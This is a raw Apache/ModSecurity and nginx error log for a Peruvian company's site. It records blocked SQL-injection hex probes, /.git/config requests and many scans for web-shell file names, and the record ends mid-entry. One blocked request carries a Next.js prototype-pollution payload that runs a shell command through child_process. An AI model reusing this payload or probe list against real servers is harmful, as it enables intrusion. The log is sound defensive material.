[client 39.48.211.163:40978] [client 39.48.211.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x05e8dd32de found within XML: metaWeblog.newPost15459954599title0x05e8dd32description0x05e8dd32mt_keywords0x05e8dd32mt_excerpt0x05e8dd321"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aS8ca9KpLUDof44exjjB1QAAAtY"] 2025/12/02 21:35:54 [error] 16863#16863: *437023 access forbidden by rule, client: 194.180.49.169, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/12/02 22:15:48 [error] 16863#16863: *438220 access forbidden by rule, client: 194.180.49.169, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Wed Dec 03 09:39:35.356109 2025] [:error] [pid 31549:tid 31570] [client 187.255.14.214:48562] [client 187.255.14.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1ef5aedbde found within XML: metaWeblog.newPost13385833858title0x1ef5aedbdescription0x1ef5aedbmt_keywords0x1ef5aedbmt_excerpt0x1ef5aedb1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTBLp0hnqK-wVwwel4GQFwAAAIY"] [Wed Dec 03 12:09:07.837141 2025] [:error] [pid 31548:tid 31613] [client 35.239.233.143:54652] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Dec 03 13:31:39.819368 2025] [:error] [pid 31736:tid 31758] [client 104.28.208.84:57028] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Dec 04 01:29:19.431719 2025] [:error] [pid 7889:tid 7902] [client 144.172.104.220:55460] File does not exist: /home/coldtecp/public_html/kickstart.php 2025/12/04 06:03:25 [error] 11595#11595: *476235 access forbidden by rule, client: 194.180.49.174, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Thu Dec 04 08:08:21.535070 2025] [:error] [pid 20139:tid 20199] [client 197.254.237.210:44854] [client 197.254.237.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x2c762f1cde found within XML: metaWeblog.newPost11253112531title0x2c762f1cdescription0x2c762f1cmt_keywords0x2c762f1cmt_excerpt0x2c762f1c1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTGHxWb9XZaHmmSY_pmRZwAAAZQ"] [Fri Dec 05 01:50:13.488801 2025] [:error] [pid 20104:tid 20128] [client 34.75.155.119:45612] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Dec 05 05:48:05.100002 2025] [:error] [pid 8284:tid 8291] [client 112.134.240.7:36418] [client 112.134.240.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x5c963f85de found within XML: metaWeblog.newPost15832858328title0x5c963f85description0x5c963f85mt_keywords0x5c963f85mt_excerpt0x5c963f851"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTK4ZdRsfCPSMpKH2WSntgAAAEE"] [Fri Dec 05 11:41:29.118716 2025] [:error] [pid 8285:tid 8327] [client 134.195.198.119:35808] [client 134.195.198.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(\\\\!\\\\=|\\\\&\\\\&|\\\\|\\\\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\\\\s+between\\\\s+0\\\\s+and)|(?:is\\\\s+null)|(like\\\\s+null)|(?:(?:^|\\\\W)in[+\\\\s]*\\\\([\\\\s\\\\d\\"]+[^()]*\\\\))|(?:xor|<>|rlike(?:\\\\s+binary)?)|(?:regexp\\\\s+binary))" at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "70"] [id "981319"] [rev "2"] [msg "SQL Injection Attack: SQL Operator Detected"] [data "Matched Data: || found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/login?a=${res.trim()};307;`});\\x22,\\x22_chunks\\x22:\\..."] [severity [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTMLOSMExq8v_ux8hQEyogAAAIQ"] 2025/12/06 01:53:00 [error] 8218#8218: *569759 access forbidden by rule, client: 147.185.41.173, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sat Dec 06 04:43:40.255848 2025] [:error] [pid 28328:tid 28341] [client 103.160.232.50:49200] [client 103.160.232.50] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x010a7803de found within XML: metaWeblog.newPost17782977829title0x010a7803description0x010a7803mt_keywords0x010a7803mt_excerpt0x010a78031"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTP6zNF8nQh_DMFKh0gFwAAAAMs"] [Sat Dec 06 21:26:15.258291 2025] [:error] [pid 22222:tid 22289] [client 4.189.162.120:54946] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:15.436071 2025] [:error] [pid 22220:tid 22245] [client 4.189.162.120:54948] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:15.640640 2025] [:error] [pid 22220:tid 22236] [client 4.189.162.120:54952] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Sat Dec 06 21:26:15.897584 2025] [:error] [pid 22220:tid 22228] [client 4.189.162.120:54954] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.com/ [Sat Dec 06 21:26:16.092343 2025] [:error] [pid 22220:tid 22224] [client 4.189.162.120:54956] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:16.336764 2025] [:error] [pid 22221:tid 22266] [client 4.189.162.120:54958] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:16.585238 2025] [:error] [pid 22370:tid 22388] [client 4.189.162.120:54960] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:16.896262 2025] [:error] [pid 22370:tid 22380] [client 4.189.162.120:54962] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.de/ [Sat Dec 06 21:26:17.116018 2025] [:error] [pid 22222:tid 22300] [client 4.189.162.120:54966] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:17.887332 2025] [:error] [pid 22221:tid 22274] [client 4.189.162.120:54972] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:18.112866 2025] [:error] [pid 22370:tid 22390] [client 4.189.162.120:54976] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.com/ [Sat Dec 06 21:26:18.292915 2025] [:error] [pid 22370:tid 22373] [client 4.189.162.120:54978] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:18.469628 2025] [:error] [pid 22220:tid 22248] [client 4.189.162.120:54980] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:18.660772 2025] [:error] [pid 22222:tid 22287] [client 4.189.162.120:54982] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:27.348427 2025] [:error] [pid 22370:tid 22384] [client 4.189.162.120:55012] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Sat Dec 06 21:26:32.021574 2025] [:error] [pid 22220:tid 22231] [client 4.189.162.120:55026] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:32.473559 2025] [:error] [pid 22220:tid 22235] [client 4.189.162.120:55032] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:33.268989 2025] [:error] [pid 22370:tid 22380] [client 4.189.162.120:55040] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.de/ [Sat Dec 06 21:26:33.446477 2025] [:error] [pid 22370:tid 22386] [client 4.189.162.120:55042] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.com/ [Sat Dec 06 21:26:33.833245 2025] [:error] [pid 22370:tid 22389] [client 4.189.162.120:55046] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:34.042120 2025] [:error] [pid 22370:tid 22390] [client 4.189.162.120:55048] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:34.275008 2025] [:error] [pid 22222:tid 22282] [client 4.189.162.120:55050] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:34.938528 2025] [:error] [pid 22222:tid 22283] [client 4.189.162.120:55058] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:35.136500 2025] [:error] [pid 22222:tid 22292] [client 4.189.162.120:55060] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:37.002539 2025] [:error] [pid 22221:tid 22276] [client 4.189.162.120:55076] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:39.189242 2025] [:error] [pid 22221:tid 22271] [client 4.189.162.120:55102] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:39.452310 2025] [:error] [pid 22370:tid 22388] [client 4.189.162.120:55104] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Sat Dec 06 21:26:47.400091 2025] [:error] [pid 22222:tid 22291] [client 4.189.162.120:55194] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:47.730327 2025] [:error] [pid 22370:tid 22382] [client 4.189.162.120:55198] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:47.922986 2025] [:error] [pid 22220:tid 22234] [client 4.189.162.120:55200] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Sat Dec 06 21:26:48.126695 2025] [:error] [pid 22222:tid 22293] [client 4.189.162.120:55202] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:48.316508 2025] [:error] [pid 22221:tid 22259] [client 4.189.162.120:55204] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.de/ [Sat Dec 06 21:26:48.661988 2025] [:error] [pid 22220:tid 22229] [client 4.189.162.120:55208] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:48.916125 2025] [:error] [pid 22220:tid 22241] [client 4.189.162.120:55212] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:49.109987 2025] [:error] [pid 22220:tid 22238] [client 4.189.162.120:55218] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.de/ [Sat Dec 06 21:26:49.319560 2025] [:error] [pid 22370:tid 22388] [client 4.189.162.120:55222] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:49.554157 2025] [:error] [pid 22370:tid 22374] [client 4.189.162.120:55224] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:50.119928 2025] [:error] [pid 22222:tid 22286] [client 4.189.162.120:55234] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Sat Dec 06 21:26:50.310873 2025] [:error] [pid 22222:tid 22280] [client 4.189.162.120:55236] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Sat Dec 06 21:26:50.730074 2025] [:error] [pid 22222:tid 22294] [client 4.189.162.120:55240] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.co.uk/ [Sat Dec 06 21:26:50.936410 2025] [:error] [pid 22222:tid 22301] [client 4.189.162.120:55242] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Sat Dec 06 21:26:51.166101 2025] [:error] [pid 22222:tid 22282] [client 4.189.162.120:55244] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.com/ [Sat Dec 06 21:26:51.357299 2025] [:error] [pid 22222:tid 22296] [client 4.189.162.120:55248] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.com/ [Sat Dec 06 21:26:51.586167 2025] [:error] [pid 22222:tid 22285] [client 4.189.162.120:55250] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.fr/ [Sat Dec 06 21:26:51.871914 2025] [:error] [pid 22222:tid 22291] [client 4.189.162.120:55252] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:26:52.074010 2025] [:error] [pid 22222:tid 22293] [client 4.189.162.120:55254] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Sat Dec 06 21:26:52.287469 2025] [:error] [pid 22370:tid 22373] [client 4.189.162.120:55260] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:52.479867 2025] [:error] [pid 22221:tid 22276] [client 4.189.162.120:55264] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Sat Dec 06 21:26:52.677713 2025] [:error] [pid 22221:tid 22256] [client 4.189.162.120:55266] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:26:56.757096 2025] [:error] [pid 22370:tid 22395] [client 4.189.162.120:55278] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.fr/ [Sat Dec 06 21:27:16.296538 2025] [:error] [pid 22370:tid 22375] [client 4.189.162.120:55326] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.com/ [Sat Dec 06 21:27:25.645813 2025] [:error] [pid 22370:tid 22372] [client 4.189.162.120:55358] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:27:44.794967 2025] [:error] [pid 22222:tid 22293] [client 4.189.162.120:55522] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.bing.com/ 2025/12/06 21:28:10 [error] 22199#22199: *621917 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.189.162.120, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.fr/" [Sat Dec 06 21:29:32.214827 2025] [:error] [pid 22220:tid 22228] [client 20.205.13.31:55864] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:29:32.431301 2025] [:error] [pid 22221:tid 22264] [client 20.205.13.31:55866] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.de/ [Sat Dec 06 21:29:32.650191 2025] [:error] [pid 22220:tid 22240] [client 20.205.13.31:55868] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Sat Dec 06 21:29:32.866768 2025] [:error] [pid 22370:tid 22372] [client 20.205.13.31:55870] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:33.083577 2025] [:error] [pid 22222:tid 22292] [client 20.205.13.31:55872] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:33.300118 2025] [:error] [pid 22220:tid 22242] [client 20.205.13.31:55874] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:33.517106 2025] [:error] [pid 22370:tid 22376] [client 20.205.13.31:55876] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:33.951280 2025] [:error] [pid 22221:tid 22272] [client 20.205.13.31:55880] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Sat Dec 06 21:29:34.168289 2025] [:error] [pid 22370:tid 22391] [client 20.205.13.31:55882] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:34.384822 2025] [:error] [pid 22221:tid 22275] [client 20.205.13.31:55884] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:34.601421 2025] [:error] [pid 22221:tid 22274] [client 20.205.13.31:55886] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.de/ [Sat Dec 06 21:29:35.034188 2025] [:error] [pid 22221:tid 22260] [client 20.205.13.31:55890] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.de/ [Sat Dec 06 21:29:35.467314 2025] [:error] [pid 22220:tid 22248] [client 20.205.13.31:55894] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:35.683848 2025] [:error] [pid 22370:tid 22384] [client 20.205.13.31:55896] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:35.900422 2025] [:error] [pid 22370:tid 22379] [client 20.205.13.31:55898] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:36.118101 2025] [:error] [pid 22220:tid 22227] [client 20.205.13.31:55904] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.de/ [Sat Dec 06 21:29:36.334497 2025] [:error] [pid 22220:tid 22233] [client 20.205.13.31:55906] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:36.550992 2025] [:error] [pid 22370:tid 22381] [client 20.205.13.31:55908] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:36.768772 2025] [:error] [pid 22370:tid 22390] [client 20.205.13.31:55910] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:37.204000 2025] [:error] [pid 22221:tid 22271] [client 20.205.13.31:55914] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:29:37.420348 2025] [:error] [pid 22222:tid 22295] [client 20.205.13.31:55916] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:29:37.636995 2025] [:error] [pid 22222:tid 22283] [client 20.205.13.31:55918] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Sat Dec 06 21:29:37.853408 2025] [:error] [pid 22222:tid 22263] [client 20.205.13.31:55920] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:38.069837 2025] [:error] [pid 22370:tid 22389] [client 20.205.13.31:55922] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:38.730877 2025] [:error] [pid 22370:tid 22385] [client 20.205.13.31:55928] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:38.948996 2025] [:error] [pid 22370:tid 22375] [client 20.205.13.31:55930] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Sat Dec 06 21:29:39.381460 2025] [:error] [pid 22222:tid 22286] [client 20.205.13.31:55934] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Sat Dec 06 21:29:39.814511 2025] [:error] [pid 22370:tid 22396] [client 20.205.13.31:55938] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:40.470267 2025] [:error] [pid 22370:tid 22378] [client 20.205.13.31:55944] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.com/ [Sat Dec 06 21:29:40.686781 2025] [:error] [pid 22370:tid 22394] [client 20.205.13.31:55946] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Sat Dec 06 21:29:41.119623 2025] [:error] [pid 22370:tid 22373] [client 20.205.13.31:55950] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.de/ [Sat Dec 06 21:29:41.552176 2025] [:error] [pid 22220:tid 22234] [client 20.205.13.31:55958] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:41.792169 2025] [:error] [pid 22222:tid 22299] [client 20.205.13.31:55960] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Sat Dec 06 21:29:42.008528 2025] [:error] [pid 22221:tid 22278] [client 20.205.13.31:55962] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:42.657630 2025] [:error] [pid 22221:tid 22268] [client 20.205.13.31:55968] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:43.348886 2025] [:error] [pid 22220:tid 22245] [client 20.205.13.31:55974] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.yahoo.com/ [Sat Dec 06 21:29:44.866498 2025] [:error] [pid 22222:tid 22291] [client 20.205.13.31:55988] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:46.620967 2025] [:error] [pid 22220:tid 22236] [client 20.205.13.31:56006] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.de/ [Sat Dec 06 21:29:52.213356 2025] [:error] [pid 22221:tid 22276] [client 20.205.13.31:56062] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.bing.com/ [Sat Dec 06 21:29:57.452589 2025] [:error] [pid 22220:tid 22247] [client 20.205.13.31:56114] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.de/ [Sat Dec 06 21:29:57.669199 2025] [:error] [pid 22220:tid 22239] [client 20.205.13.31:56116] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.fr/ [Sat Dec 06 21:29:57.885414 2025] [:error] [pid 22370:tid 22395] [client 20.205.13.31:56118] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:31.137419 2025] [:error] [pid 22370:tid 22390] [client 104.215.23.26:40878] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.bing.com/ [Sun Dec 07 00:09:31.311442 2025] [:error] [pid 22222:tid 22263] [client 104.215.23.26:40880] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:31.527535 2025] [:error] [pid 22221:tid 22276] [client 104.215.23.26:40882] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Sun Dec 07 00:09:31.701402 2025] [:error] [pid 22370:tid 22389] [client 104.215.23.26:40884] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:31.875583 2025] [:error] [pid 22370:tid 22377] [client 104.215.23.26:40886] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.de/ [Sun Dec 07 00:09:32.054126 2025] [:error] [pid 22220:tid 22248] [client 104.215.23.26:40888] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.fr/ [Sun Dec 07 00:09:32.230954 2025] [:error] [pid 22221:tid 22278] [client 104.215.23.26:40890] File does not exist: /home/coldtecp/public_html/about.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:32.447338 2025] [:error] [pid 22221:tid 22269] [client 104.215.23.26:40892] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Sun Dec 07 00:09:32.640409 2025] [:error] [pid 22221:tid 22255] [client 104.215.23.26:40894] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:33.399026 2025] [:error] [pid 22370:tid 22372] [client 104.215.23.26:40900] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.com/ [Sun Dec 07 00:09:34.072740 2025] [:error] [pid 22370:tid 22386] [client 104.215.23.26:40902] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.com/ [Sun Dec 07 00:09:34.357939 2025] [:error] [pid 22220:tid 22227] [client 104.215.23.26:40904] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Sun Dec 07 00:09:34.569989 2025] [:error] [pid 22220:tid 22230] [client 104.215.23.26:40906] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.com/ [Sun Dec 07 00:09:34.745904 2025] [:error] [pid 22220:tid 22231] [client 104.215.23.26:40908] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Sun Dec 07 00:09:35.281022 2025] [:error] [pid 22220:tid 22229] [client 104.215.23.26:40914] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:35.455548 2025] [:error] [pid 22220:tid 22238] [client 104.215.23.26:40916] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:36.180766 2025] [:error] [pid 22220:tid 22242] [client 104.215.23.26:40920] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://duckduckgo.com/ [Sun Dec 07 00:09:36.756338 2025] [:error] [pid 22370:tid 22381] [client 104.215.23.26:40930] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:36.931363 2025] [:error] [pid 22222:tid 22292] [client 104.215.23.26:40932] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.yahoo.com/ [Sun Dec 07 00:09:37.361238 2025] [:error] [pid 22370:tid 22383] [client 104.215.23.26:40938] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Sun Dec 07 00:09:37.802559 2025] [:error] [pid 22370:tid 22373] [client 